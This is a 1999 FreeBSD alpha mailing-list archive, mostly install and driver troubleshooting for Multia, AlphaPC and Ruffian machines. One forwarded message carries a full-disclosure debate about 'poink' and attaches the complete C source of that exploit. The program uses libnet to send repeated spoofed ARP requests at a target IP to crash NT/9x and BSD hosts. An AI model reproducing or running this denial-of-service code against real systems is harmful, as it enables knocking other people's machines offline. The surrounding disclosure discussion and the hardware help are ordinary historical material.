Sun, 18 Apr 1999 18:52:29 -0700 (PDT) (envelope-from danarchy@endeneu.com) Received: from hellraiser (209.181.224.90) by mail0.mailsender.net; 18 Apr 1999 18:47:43 -0700 Message-ID: <371a8b3f371acc52@mail0.mailsender.net> (added by mail0.mailsender.net) From: "Dan Dockery" To: "freebsd-alpha@FreeBSD.ORG" Date: Sun, 18 Apr 1999 21:01:17 -0600 Reply-To: "Dan Dockery" X-Mailer: PMMail 98 Standard (2.00.1500) For Windows 98 (4.10.1998) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: Disk errors when running sysinstall Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'm currently trying to setup FreeBSD 3.1 on my Multia. I updated the firmware to the latest version and downloaded the two boot floppies. Everything seems to go well (despite a number of buffer underrun/overrun errors, but those seem to be recovered nicely) until sysinstall tries to write the partition table to the hard drive at which time it tells me that it couldn't turn on swap on the swap partition and that it cannot write the partition table/mount the root device. Maybe I'm just doing something wrong, but has anyone else encountered this, and if so how was it resolved? I'll be taking it apart later on to see if there's anything that can be changed on the hard drive that might help (jumper-wise)... Please write back to me directly as I'm not currently subscribed to this mailing list. -Dan "Come give anyone of us, for instance, a little more independence, untie our hands, widen the spheres of our activity, relax the controls and we -- yes, I assure you -- we would immediately beg to be under control again." -Dostoevsky "Notes from Underground" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 2: 1:57 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 44D3314FB9 for ; Mon, 19 Apr 1999 02:01:52 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id KAA91900 for ; Mon, 19 Apr 1999 10:04:45 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Mon, 19 Apr 1999 10:04:45 +0100 (BST) From: Doug Rabson To: alpha@freebsd.org Subject: ATA driver for alpha Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I have ported the new ATA driver to the FreeBSD/alpha. This provides support for IDE disks and cdroms. The version of the driver in the tree has only been tested on one old 433au machine so your mileage may vary :-). For the adventurous, add these lines to your kernel config: controller ata0 device atadisk0 # ATA disk drives device atapicd0 # ATAPI CDROM drives device atapifd0 # ATAPI floppy drives device atapist0 # ATAPI tape drives -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 2: 8:46 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id C735714F9E for ; Mon, 19 Apr 1999 02:08:41 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id CAA03770; Mon, 19 Apr 1999 02:06:09 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Doug Rabson Cc: alpha@FreeBSD.ORG Subject: Re: ATA driver for alpha In-reply-to: Your message of "Mon, 19 Apr 1999 10:04:45 BST." Date: Mon, 19 Apr 1999 02:06:09 -0700 Message-ID: <3768.924512769@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I have ported the new ATA driver to the FreeBSD/alpha. This provides > support for IDE disks and cdroms. The version of the driver in the tree Yes! I think you've just made a number of Alpha people very happy, Doug. :) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 2:11: 0 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 0FEF914F9E for ; Mon, 19 Apr 1999 02:10:56 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id KAA91927; Mon, 19 Apr 1999 10:13:47 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Mon, 19 Apr 1999 10:13:47 +0100 (BST) From: Doug Rabson To: Dan Dockery Cc: "freebsd-alpha@FreeBSD.ORG" Subject: Re: Disk errors when running sysinstall In-Reply-To: <371a8b3f371acc52@mail0.mailsender.net> (added by mail0.mailsender.net) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 18 Apr 1999, Dan Dockery wrote: > I'm currently trying to setup FreeBSD 3.1 on my Multia. I updated the > firmware to the latest version and downloaded the two boot floppies. > Everything seems to go well (despite a number of buffer underrun/overrun > errors, but those seem to be recovered nicely) until sysinstall tries to > write the partition table to the hard drive at which time it tells me > that it couldn't turn on swap on the swap partition and that it cannot > write the partition table/mount the root device. Maybe I'm just doing > something wrong, but has anyone else encountered this, and if so how was > it resolved? > > I'll be taking it apart later on to see if there's anything that can be > changed on the hard drive that might help (jumper-wise)... > > Please write back to me directly as I'm not currently subscribed to this > mailing list. The install program for 3.1 on the alpha is seriously broken. You would problably do better to download more recent floppy images from ftp.freebsd.org and try to install with them. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 3:40: 9 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from post.bgnett.no (post.bgnett.no [194.54.96.133]) by hub.freebsd.org (Postfix) with ESMTP id CF95F14C80 for ; Mon, 19 Apr 1999 03:39:46 -0700 (PDT) (envelope-from erik@habatech.no) Received: from freebsd.habatech.no ([62.92.133.2]) by post.bgnett.no (8.8.8/8.8.8) with ESMTP id MAA19262; Mon, 19 Apr 1999 12:36:05 +0200 (CEST) (envelope-from erik@habatech.no) From: erik@habatech.no Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Mon, 19 Apr 1999 12:41:26 +0200 (CEST) To: Doug Rabson Subject: RE: ATA driver for alpha Cc: alpha@FreeBSD.ORG Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 19-Apr-99 Doug Rabson wrote: > I have ported the new ATA driver to the FreeBSD/alpha. This provides > support for IDE disks and cdroms. The version of the driver in the tree > has only been tested on one old 433au machine so your mileage may vary >:-). For the adventurous, add these lines to your kernel config: > Hooray! Just one question, though... Will this driver support the Cypress CY82C693 controller on the AlphaPC 164SX boards? ---------------------------------- E-Mail: erik@habatech.no Date: 19-Apr-99 Time: 12:39:49 This message was sent by XFMail ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 3:42:33 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from post.bgnett.no (post.bgnett.no [194.54.96.133]) by hub.freebsd.org (Postfix) with ESMTP id D7BFD1526C for ; Mon, 19 Apr 1999 03:42:19 -0700 (PDT) (envelope-from erik@habatech.no) Received: from freebsd.habatech.no ([62.92.133.2]) by post.bgnett.no (8.8.8/8.8.8) with ESMTP id MAA19292; Mon, 19 Apr 1999 12:39:14 +0200 (CEST) (envelope-from erik@habatech.no) From: erik@habatech.no Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <3768.924512769@zippy.cdrom.com> Date: Mon, 19 Apr 1999 12:44:36 +0200 (CEST) To: "Jordan K. Hubbard" Subject: Re: ATA driver for alpha Cc: alpha@FreeBSD.ORG, Doug Rabson Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 19-Apr-99 Jordan K. Hubbard wrote: >> I have ported the new ATA driver to the FreeBSD/alpha. This provides >> support for IDE disks and cdroms. The version of the driver in the tree > > Yes! I think you've just made a number of Alpha people very happy, Doug. :) > If someone can provide me with a bootable floppy image with the new kernel, I can test it on the AlphaPC164SX. ---------------------------------- E-Mail: erik@habatech.no Date: 19-Apr-99 Time: 12:43:52 This message was sent by XFMail ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 4:17:17 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 1DBA714C16 for ; Mon, 19 Apr 1999 04:17:14 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from pdx.cybcon.com (wwoods@pdx.cybcon.com [205.147.64.44]) by mail.cybcon.com (8.9.0/8.9.0) with ESMTP id EAA20368; Mon, 19 Apr 1999 04:14:48 -0700 (PDT) Date: Mon, 19 Apr 1999 04:14:48 -0700 (PDT) From: Bill Woods To: Dan Dockery Cc: "freebsd-alpha@FreeBSD.ORG" Subject: Re: Disk errors when running sysinstall In-Reply-To: <371a8b3f371acc52@mail0.mailsender.net> (added by mail0.mailsender.net) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hey, I fineally got an ftp install working, but I have a question before I get too far into this. Once the ftp install is finished, how do I set this system up to boot from the SCSI disk? This is an Alpha 200 4/233 with 1 4gig SCSI. Thanks, William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 5:35: 3 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.toplink.net (mail.toplink.net [195.2.171.8]) by hub.freebsd.org (Postfix) with ESMTP id 08EDE14BC9 for ; Mon, 19 Apr 1999 05:34:54 -0700 (PDT) (envelope-from ks@hirvi.net) Received: (from uucp@localhost) by mail.toplink.net (8.9.1/8.9.1) with UUCP id OAA08183 for freebsd-alpha@FreeBSD.ORG; Mon, 19 Apr 1999 14:32:27 +0200 (CEST) Received: from hirvi.net (susi.hirvi.net [195.2.174.98]) by karhu.hirvi.net (8.8.7/8.8.8) with SMTP id MAA31003 for ; Mon, 19 Apr 1999 12:41:39 +0200 Message-Id: <199904191041.MAA31003@karhu.hirvi.net> Date: Mon, 19 Apr 1999 14:19:23 +0200 From: Kai Schmidt Reply-To: Kai Schmidt To: freebsd-alpha@FreeBSD.ORG Subject: Re: Disk errors when running sysinstall X-Mailer: Kai Schmidt's registered AK-Mail 3.0b sppb1 [ger] Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 19.04.99, 10:13:47 Doug Rabson wrote: Hi Doug, > The install program for 3.1 on the alpha is seriously broken. You would > problably do better to download more recent floppy images from > ftp.freebsd.org and try to install with them. Does this only apply to the disks or is it better to migrate my two Multia and one XL to 4.0. Is 4.0 more stable, one of the Multias runs as a Web server so it should be quiet stable. -- Bye! - Kai Schmidt - "That's why we are on this ship to begin with! It becomes our problem when the machines can't handle it!" Capt. Dallas, USCSS Nostromo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 6:44:14 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 1FB0D1557A for ; Mon, 19 Apr 1999 06:44:03 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id JAA00604; Mon, 19 Apr 1999 09:40:42 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id JAA23559; Mon, 19 Apr 1999 09:40:40 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Mon, 19 Apr 1999 09:40:39 -0400 (EDT) To: erik@habatech.no Cc: Doug Rabson , alpha@FreeBSD.ORG Subject: RE: ATA driver for alpha In-Reply-To: References: X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14107.12517.867876.915517@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org erik@habatech.no writes: > > On 19-Apr-99 Doug Rabson wrote: > > I have ported the new ATA driver to the FreeBSD/alpha. This provides > > support for IDE disks and cdroms. The version of the driver in the tree > > has only been tested on one old 433au machine so your mileage may vary > >:-). For the adventurous, add these lines to your kernel config: > > > Hooray! > Just one question, though... > Will this driver support the Cypress CY82C693 controller on the AlphaPC > 164SX boards? Before the official integration, Doug & I had gotten the Cypress IDE controller working on my (newer) PWS500aus & xp1000s. For the next week or so I'm keeping my local tree frozen at pre-newbus, so I have no way to verify that it actually works. But from a quick look at ata-all.c v1.8 I think the important changes are there & that it should work... Hope this helps, Drew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 6:59: 5 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mta1.imation.com (mail2.imation.com [207.242.212.137]) by hub.freebsd.org (Postfix) with SMTP id 3AD5F14F70 for ; Mon, 19 Apr 1999 06:58:53 -0700 (PDT) (envelope-from danarchy@endeneu.com) Received: from im003935 ([207.242.212.2]) by mta1.imation.com (Lotus SMTP MTA v4.6.4 (830.2 3-23-1999)) with SMTP id 86256758.004C8602; Mon, 19 Apr 1999 08:55:50 -0500 From: "Dan Dockery" To: "Doug Rabson" Cc: "freebsd-alpha@FreeBSD.ORG" Date: Mon, 19 Apr 1999 08:51:42 -0500 Reply-To: "Dan Dockery" X-Mailer: PMMail 98 Standard (2.01.1600) For Windows 98 (4.10.1998) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: Re: Disk errors when running sysinstall Message-Id: <19990419135903.3AD5F14F70@hub.freebsd.org> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >The install program for 3.1 on the alpha is seriously broken. You would >problably do better to download more recent floppy images from >ftp.freebsd.org and try to install with them. Ah ha. I get it. I actually did download them yesterday, but I bet I should be downloading them from snapshots rather than from releases. It would be helpful if someone would update the readme.txt from the releases to suggest that the boot floppy is badly broken. Thanks for the tip. I'll try the newer floppies tonight. -Dan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 7:57:38 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 17D0E14C07 for ; Mon, 19 Apr 1999 07:57:35 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from amber (pm3a-42.cybcon.com [205.147.75.171]) by mail.cybcon.com (8.9.0/8.9.0) with ESMTP id HAA28397 for ; Mon, 19 Apr 1999 07:55:09 -0700 (PDT) Message-Id: <199904191455.HAA28397@mail.cybcon.com> From: "William" To: Subject: after the FTP install...booting off internal SCSI ???? Date: Mon, 19 Apr 1999 07:54:39 -0700 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org OK, last night the FTP install of 3.1 snapshot it all went very nicely, long but went ok), I was asked to remove the floppy and reboot. OK, I remove floppy and reboot. Now I am looking at the SRM console prompt ">>>". How do I get this thing to boot off the internal SCSI where I installed?? Thanks, William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 8:12:57 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from bolet.ens.fr (bolet.ens.fr [129.199.99.10]) by hub.freebsd.org (Postfix) with ESMTP id 21409153F8 for ; Mon, 19 Apr 1999 08:12:52 -0700 (PDT) (envelope-from pornin@bolet.ens.fr) Received: (from pornin@localhost) by bolet.ens.fr (8.8.7/8.8.7) id RAA09246; Mon, 19 Apr 1999 17:10:08 +0200 Date: Mon, 19 Apr 1999 17:10:08 +0200 From: Thomas Pornin To: William Cc: alpha@FreeBSD.ORG Subject: Re: after the FTP install...booting off internal SCSI ???? Message-ID: <19990419171008.A9241@bolet.ens.fr> References: <199904191455.HAA28397@mail.cybcon.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <199904191455.HAA28397@mail.cybcon.com>; from William on Mon, Apr 19, 1999 at 07:54:39AM -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Apr 19, 1999 at 07:54:39AM -0700, William wrote: > How do I get this thing to boot off the internal SCSI where I installed?? Try: boot -fl a dka0 (or dka100, dka200... if your internal scsi disk is id 1, 2...) --Thomas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 8:39:48 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from calis.blacksun.org (Calis.blacksun.org [168.100.186.40]) by hub.freebsd.org (Postfix) with ESMTP id 0147C15302 for ; Mon, 19 Apr 1999 08:39:30 -0700 (PDT) (envelope-from don@calis.blacksun.org) Received: from localhost (don@localhost) by calis.blacksun.org (8.9.2/8.9.2) with ESMTP id LAA19477; Mon, 19 Apr 1999 11:38:06 -0400 (EDT) (envelope-from don@calis.blacksun.org) Date: Mon, 19 Apr 1999 11:38:06 -0400 (EDT) From: Don To: William Cc: alpha@FreeBSD.ORG Subject: Re: after the FTP install...booting off internal SCSI ???? In-Reply-To: <199904191455.HAA28397@mail.cybcon.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > OK, last night the FTP install of 3.1 snapshot it all went very nicely, > long but went ok), I was asked to remove the floppy and reboot. OK, I > remove floppy and reboot. Now I am looking at the SRM console prompt ">>>". > How do I get this thing to boot off the internal SCSI where I installed?? Try executing show devices at the srm prompt and it will give you a list of disks and things. Boot with the disk returned by this command (usually dka100 etc). Also look into set boot-device and set auto-boot and other commands like that. Execute show boot* and show auto* these should give you more information about the system you are on. And for more (possibly more accurate) information check ou the various linux alpha sites as well as the digital and netbsd web site which have a wealth of information on various alphas and how to install on them. -Don To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 11:21:21 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 822E61564F for ; Mon, 19 Apr 1999 11:21:14 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from amber (pm3a-42.cybcon.com [205.147.75.171]) by mail.cybcon.com (8.9.0/8.9.0) with ESMTP id LAA11482 for ; Mon, 19 Apr 1999 11:18:47 -0700 (PDT) Message-Id: <199904191818.LAA11482@mail.cybcon.com> From: "William" To: Subject: Fw: poink and freebsd Date: Mon, 19 Apr 1999 11:16:52 -0700 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_01BE8A56.201ACB40" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is a multi-part message in MIME format. ------=_NextPart_000_01BE8A56.201ACB40 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit ---------- > From: Harold Gutch > To: Chris ; The Tech-Admin Dude > Cc: security@FreeBSD.ORG > Subject: Re: poink and freebsd > Date: Monday, April 19, 1999 10:54 AM > ------=_NextPart_000_01BE8A56.201ACB40 Content-Type: application/octet-stream; name="muttIQ6439" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="muttIQ6439" On Mon, Apr 19, 1999 at 01:10:08PM -0400, Chris wrote: > jd- >=20 > id rather not post the source to the list, since this is how exploits = get > distributed, and bad things occur. i sent email to the = security-officer, > and a few people to test it out with their setup.. id rather not > distribute it any further... i hope you understand my reasoning behind = it > :/ >=20 > > On Mon, 19 Apr 1999, Robert Watson wrote: > >=20 > > > On Mon, 19 Apr 1999, Chris wrote: > > >=20 > > > > im sure ya'll have heard of poink, an exploit against = freebsd/openbsd > > > > machines (these are the boxes i have tested on) it appears to = work very > > > > efficiently in killing freebsd 3.1 - freebsd 3.0 machines, = against one of > > > > our freebsd 2.2.5 machines, it did bring up the error messages = in > > > > /var/log/messages (arp lookups) but didnt kill the machine like = the > > > > others... > > > >=20 > > > > im just wondering if there are any patches for this, and i = noticed there > > > > is no mention of it on freebsd's website.... > > >=20 > > > Interestingly, I haven't heard about this one, and it doesn't = appear to be > > > on rootshell, etc. Chris, the fact that _you_ as somebody outside of the circles close to the original author (which I simply assume) already have it, shows that it already is public. Posting it to this list will distribute it to more people, some of which might use it maliciosly, others though might fix it faster than it would be fixed otherwise. Keeping it secret doesn't help anything, this is similar to proprietary programs/protocols, which in many cases are inferior to open source or open protocols. You should get some information about "full disclosure" and read it. Anyway, I was able to find the source for poink after searching for 5 minutes. As I don't have libnet installed (and I don't plan to install it just to compile poink), I am not able to say anything about what it does - perhaps somebody else can do so. bye, Harold --=20 Sleep is an abstinence syndrome wich occurs due to lack of = caffein. Wed Mar 4 04:53:33 CET 1998 #unix, ircnet ------=_NextPart_000_01BE8A56.201ACB40 Content-Type: application/octet-stream; name="poink.c" Content-Transfer-Encoding: quoted-printable Content-Description: poink.c (C File) Content-Disposition: attachment; filename="poink.c" /* * $Id$ * * poink.c - NT/9x DOS attack * * Code: * Copyright (c) 1999 Mike D. Schiffman * route|daemon9 * All rights reserved. * * Original Idea: * Joel Jacobson (joel@mobila.cx) * * This simple exploit was written as per the specification from Joel * Jacobson's bugtraq post = (http://geek-girl.com/bugtraq/1999_1/1299.html). * * Needs libnet 0.99. * Currently: http://lazy.accessus.net/~route/libnet * Soon: http://www.packetfactory.net/ * * gcc poink.c -o poink -lnet * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in = the * documentation and/or other materials provided with the = distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' = AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR = PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE = LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR = CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE = GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, = STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY = WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY = OF * SUCH DAMAGE. * */ #include u_char enet_src[6] =3D {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00}; u_char enet_dst[6] =3D {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; int send_arp(struct link_int *, u_long, u_char *); void usage(u_char *); int main(int argc, char *argv[]) { int c, amount; char errbuf[256]; char *device =3D NULL; struct link_int *l; u_long ip; amount =3D 20; while ((c =3D getopt(argc, argv, "n:i:")) !=3D EOF) { switch (c) { case 'i': device =3D optarg; break; case 'n': amount =3D atoi(optarg); break; default: exit(EXIT_FAILURE); } } if (!device) { usage(argv[0]); exit(EXIT_FAILURE); } if (argc <=3D optind) { usage(argv[0]); exit(EXIT_FAILURE); } else if ((ip =3D libnet_name_resolve(argv[optind], 1)) =3D=3D -1) { fprintf(stderr, "Cannot resolve IP address\n"); exit(EXIT_FAILURE); } l =3D libnet_open_link_interface(device, errbuf); if (!l) { fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf); exit(EXIT_FAILURE); } while (amount--) { c =3D send_arp(l, ip, device); if (c =3D=3D -1) { /* bail on the first error */ break; } } printf("\n"); return (c =3D=3D -1 ? EXIT_FAILURE : EXIT_SUCCESS); } int send_arp(struct link_int *l, u_long ip, u_char *device) { int n; u_char *buf; if (libnet_init_packet(ARP_H + ETH_H, &buf) =3D=3D -1) { perror("libnet_init_packet memory:"); exit(EXIT_FAILURE); } /* * Ethernet header */ libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, = buf); /* * ARP header */ libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REQUEST, enet_src, (u_char *)&ip, enet_dst, (u_char *)&ip, NULL, 0, buf + ETH_H); n =3D libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); fprintf(stderr, "."); libnet_destroy_packet(&buf); return (n); } void usage(u_char *name) { fprintf(stderr, "%s -i interface [-n amount] ip\n", name); } ------=_NextPart_000_01BE8A56.201ACB40-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 12:27:40 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from master.telia.net (master.telia.net [194.237.170.70]) by hub.freebsd.org (Postfix) with ESMTP id E618F155A3 for ; Mon, 19 Apr 1999 12:27:14 -0700 (PDT) (envelope-from joonas@w-arts.com) Received: from w-arts.com (zealot@t6o20p31.telia.com [62.20.190.151]) by master.telia.net (8.9.1/8.9.1) with ESMTP id VAA28605 for ; Mon, 19 Apr 1999 21:32:08 GMT Message-ID: <371B81E7.54002BB0@w-arts.com> Date: Mon, 19 Apr 1999 21:20:07 +0200 From: Joonas Tizihssane Organization: W.Arts X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: freebsd-alpha@freebsd.org Subject: The Ruffian again.. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi again, wondering if there has been any advance in the makeing of the loader for the Ruffian board(s), if no, and the problem is getting info from samsung, count on it that i will mail them and nag (hope it will have some effect on them! :) I bought a 9.1gig disk that is waiting for freebsd to get installed on it :) I hope that the loader will see the light of day soon.. /Joonas... ps. Thanx in advance and thanx for the great work that is put to the freebsd-alpha project! .ds -- I stand accused and confused but refuse to confess... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 14:29: 8 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from intertain.interlog.com (mail.intertainnet.ca [206.108.92.2]) by hub.freebsd.org (Postfix) with ESMTP id F11EE1551A for ; Mon, 19 Apr 1999 14:29:04 -0700 (PDT) (envelope-from alex@intertain.interlog.com) Received: from localhost (alex@localhost) by intertain.interlog.com (8.8.8/8.8.8) with SMTP id RAA04404 for ; Mon, 19 Apr 1999 17:23:51 -0400 (EDT) (envelope-from alex@intertain.interlog.com) Date: Mon, 19 Apr 1999 17:23:51 -0400 (EDT) From: Alex To: freebsd-alpha@freebsd.org Subject: Installing on a MB164UX MotherBoard Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Good Day. My company recently purchased a new Alpha system with a Samsung MB164UX motherboard. I am currently trying to install FreeBSD and having a heck of time with it. I have dug through the archives at Freebsd.org with no avail. I have two questions: 1) Is this board reffered to as the "Ruffian" motherboard ? 2) How do I get FreeBSD on this system ? Any help on this matter would be appreciated. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 19 15:32: 9 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from 